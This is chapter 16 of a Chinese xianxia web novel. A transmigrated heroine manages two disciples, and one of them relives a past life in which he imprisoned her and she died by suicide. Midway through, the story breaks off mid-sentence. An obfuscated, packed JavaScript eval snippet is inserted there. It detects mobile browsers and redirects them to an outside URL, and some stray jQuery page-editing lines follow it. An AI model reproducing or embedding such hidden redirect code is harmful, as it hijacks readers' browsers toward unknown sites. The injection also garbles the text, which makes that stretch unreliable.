16.师徒情深

作品:《救赎文,但与黑化男主互演

    【男主黑化值+5】


    【男主黑化值-5】


    【男主黑化值+8】


    【男主黑化值-8】


    【男主黑化值+10】


    【男主黑化值-10】


    …………


    系统的提示音这一刻如台错乱报警的机器,发出疯狂的警告声,吵得不可开交。


    “我靠我靠!怎么回事?男主的黑化值怎么波动得那么厉害!”


    系统惊呆,慌急慌忙地检查后台数值,然后便是一脸困惑:“没发现什么问题啊?!”


    “当然没出什么问题。”陆晏禾道,“只是季云徵在怀疑我的身份。”


    “啊?!!!”系统不可置信,“为什么?宿主你有做出什么ooc的事情吗?”


    “不是人设ooc,是季云徵觉得我与他一样是重生者。”


    陆晏禾冷静分析。


    以珈容云徵多疑的性格,恐怕是觉得陆晏禾对于他的了解不应该在如此阶段,说到底,他们实际认识只有两日。


    她口中所言的“先前”,他很容易怀疑到是所谓前世。


    但——并不妨事。


    这个“先前”,同样可以指代他与她昨夜相见时他被魔族追杀之事,珈容云徵同样明白,他身份本就复杂,是不可能随意问出的,即便问出,也只会被人当作是疯子。


    没人会相信疯子的话,更何况还是个杀人无数的疯子。


    “师……尊?”


    季云徵看着眼前的陆晏禾,喉结滑动,声音微哑,言语中带着几不可察的试探。


    陆晏禾与他对视的目光清泠,仿佛是没有察觉到他的变化般,闻言挑眉道。


    “怎么,不愿意去换?”


    “不……不是。”


    季云徵垂眸,终是强压心中强烈的怀疑,将口中的话咽了下去,接过那几件衣裳转身离开。


    陆晏禾凝视季云徵的背影,心中微定,却也浮现出一丝丝的疑惑。


    季云徵如此乖顺的模样,不像是对自己敌意加深,更像是三魂失了六魄般茫然,甚至有几分……可怜。


    还是说,男主他心里憋着什么坏?只是演给自己看的?


    “仙尊啊……”


    掌柜在旁开口唤她,陆晏禾转过身去看他,见他脸上满是恭敬的笑容,夸赞道。


    “仙尊,您的这两位徒弟一看便都是天纵奇才,日后修真之路必定是如鲲鹏展翅,扶摇万里啊。”


    说完,他搓了搓手,神情似有些紧张。


    “只是有句话当说不当说啊,方才您的那位徒弟……像是素日不太好相与的人啊。”


    他说的委婉至极,提醒道:“仙尊培养起来,恐怕是要多费些心力吧。”


    陆晏禾:“……”


    她发现了,这世上好人真多。


    若不是自己现在在做的是男主救赎任务,早该对这个男主有多远离多远了。


    “宿主。”系统连忙提醒道,“季云徵没走远!他应该听得到!”


    陆晏禾扫了眼方才季云徵身影消失的门边,没接那掌柜的话,换了个话头。


    “掌柜的,我想着既都帮我徒弟选了,我自己也挑个一两件,你这里可有?”


    “欸!这是当然!我这边便找人替仙尊您量量!”


    掌柜的见陆晏禾这般说了,心中明镜似的,明显是这位贵人不想他多加提及自己徒弟之事。


    嗐!人家贵人都不在意,哪里还用得着他来操这个咸蛋萝卜心!


    “您这边请!”他忙不迭的从二楼朝下喊人,“那个谁,对,采小思,就是你,上来帮忙。”


    那被掌柜的点名的名为采小思的女孩连忙应声走上了二楼,她走至陆晏禾身边鞠了躬,脸上满是羞涩与兴奋。


    她抬手指引陆晏禾。


    “仙尊这边请,我带您去看看我们店女装衣服款式。”


    陆晏禾颔首,随她一道转成衣展示架处去。


    待陆晏禾走后,掌柜的这才想起这里还有另外一位客人。


    于是他转向谢今辞,落在刚陆晏禾方才递给他的两件外裳上。


    “这位公子可要再去试试看仙尊给您挑的这些?”


    “小人也觉得,这些衣裳若是穿在公子身上,会各外衬您呢!”


    谢今辞自季云徵进来之时就一直静静地站着,始终不曾说过一句话,只细细地听着,活像是个远离所有的透明人。


    此时,他听见掌柜与他搭话,这才将视线挪到掌柜身上,俊丽的眉眼染上浅淡的笑意。


    “多谢您,不必试了。”


    掌柜微愣,他明明记得这位公子方才才答应他师尊试试看的,他当即关切问道。


    “怎么,公子是不喜欢吗?或者小的再带您看看其他的?”


    谢今辞淡笑着摇了摇头,“掌柜会错在下之意了。”


    他低头,指尖摩挲着臂弯挽起的两件衣裳。


    “这两件衣服都直接收起来罢,我都要了。”


    “啊?”


    掌柜有些摸不着头脑:“公子不试试看吗?合不合身,喜不喜欢到底要试了才知……”


    “喜欢的。”谢今辞答道,眸色转深。


    她喜欢的,便是他喜欢的。


    “若是师尊等下问起,就说我试过了,很满意。”他补充道。


    随后,谢今辞目光飘远,步子迈开,而后停在了陆晏禾方才所在的临窗案桌上。


    他弯下腰,拿起陆晏禾搁置在案桌上的茶盏。


    茶盏内的茶水已有些泛凉了,盏中的褐叶皆已沉底。


    谢今辞微微低头,于鼻间嗅到了清茶的微涩以及……几丝草木的淡香。


    他垂眸凝视片刻,将茶盏放回原位,在案机处转身朝着掌柜露出温和的笑容。


    “掌柜这里的茶品质极好,不知……在下是否有这个荣幸能向掌柜讨要一杯呢?”


    这掌柜看着谢今辞这番动作,目光都有些呆了,见谢今辞开口向他讨茶,紧忙回神应道。


    “自……自然是没问题的!公子若是喜欢,到时离开再带点回去也是使得的,小的这就帮公子去准备。”


    “那便有劳掌柜您了。”谢今辞致谢。


    “哪里哪里!”


    那掌柜匆忙转身,脚步噔噔噔地下了楼,站定后微微抬起袖擦了擦额头,后背已出了一层薄汗。


    他不自觉地回想起方才谢今辞那拿起陆晏禾茶盏的举动,那眼神……


    这女仙尊收的两个徒弟,哪里是只有一个不好相与,分明那两个都是不好惹的主!


    也不知她得有如何大的能耐才能把握得住那两位……


    别想了别想了!自己是做长久生意的,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646837|171401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可莫要再管这些贵人的闲事了!


    他暗骂自己一声,这次是连往上瞧都不敢瞧,急忙收心去张罗烹茶的事宜了。


    二楼。


    谢今辞在陆晏禾原本临窗的位置站了片刻,还是选择在它对面的空椅处撩袍坐了下来。


    四下无人,他脸上的笑意逐渐淡下,伸手揉了揉太阳穴,长长呼出口气,显露出些疲态来。


    这两日他为了观峰台之事几乎没有过一次好眠,更是因救治庞容锡等人耗费了不少的精力与灵力。


    他袖口垂落,略略倾身靠在案桌之上,以手支额,缓缓阖眼。


    …………


    二楼被划辟出作为试衣的隔间。


    新衣被放置在一旁,季云徵双腿交叠靠在座椅上,阴翳的眸中带着躁意,耳边不断回想方才那云岫阁掌柜与陆晏禾说的话。


    “仙尊,您的这两位徒弟一看便都是天纵奇才,日后修真之路必定是如鲲鹏展翅,扶摇万里啊。”


    “只是有句话当说不当说啊,方才您的那位徒弟……像是素日不太好相与的人啊。”


    “仙尊培养起来,恐怕是要多费些心力吧。”


    鲲鹏展翅,扶摇万里,说的必然不是他,是谢今辞。


    他遥想起自己上辈子杀了谢今辞之后陆晏禾对他态度的转变。


    若说杀了谢今辞之前,陆晏禾还会对他动手,会骂他,会反抗他,那么他在失手杀了谢今辞的那日,陆晏禾因情绪过激陷入昏迷,醒来之后,她便彻彻底底地变了。


    她不言,亦不语,不吃亦不喝,只在被囚的宫殿中整日擦拭着谢今辞死后封剑的洛归,身形日渐消瘦下来。


    珈容云徵被陆晏禾这副师徒情深的模样彻底激怒,于是抢走了灵剑洛归,又备下吃食,自己亲自动手强迫她吃下。


    刚开始她还会挣扎几下,到后头就仿佛是木偶般任由他摆布,也算是没有生生把自己给熬死。


    后来,她亦会偶尔与他开口说上一两句话,话虽不多,说的也都是起居上不满之处。


    今日是嫌吃食咸了,明日是嫌被褥薄了,后日又是嫌殿中的花草蔫了。


    珈容云徵一字一句记下来。


    吃食都由他亲自做,被褥当即就遣了最好的女织做了新的,又铲了别处开的繁盛的花草种植在殿中。


    凡此种种,皆随她心。


    日子久了,两人相处时间渐长,陆晏禾的态度有些和软下来,从不在他面前提及玄清宗诸人及谢今辞之事,珈容云徵也逐渐放松下了对她的警惕之心,对于她的出殿走动的行径也放的宽松了不少。


    而后他便在数日后的某一日,在断崖边看到了陆晏禾冰冷的尸体。


    她的手边,除了是自断成数截的贪生剑,还有……那柄封了剑的洛归。


    哈……她原来竟是从头到尾在与自己演戏,她从头到尾都没能忘记谢今辞。


    她竟是,为了谢今辞殉情!


    好一个师徒情深!


    季云徵弯腰,抬手捂住自己的脸,眼中的暗红逐渐扩散,思绪混乱。


    如果她依旧如前世那般……那谢今辞一样留不得。


    额间的恶念禁制又带给他熟悉的疼痛感,他双眉紧皱,沉浸在自己的情绪当中,未曾觉察到——


    在他身后,有暗红的魔气无声积蓄起来,杀意逐渐锁定了他。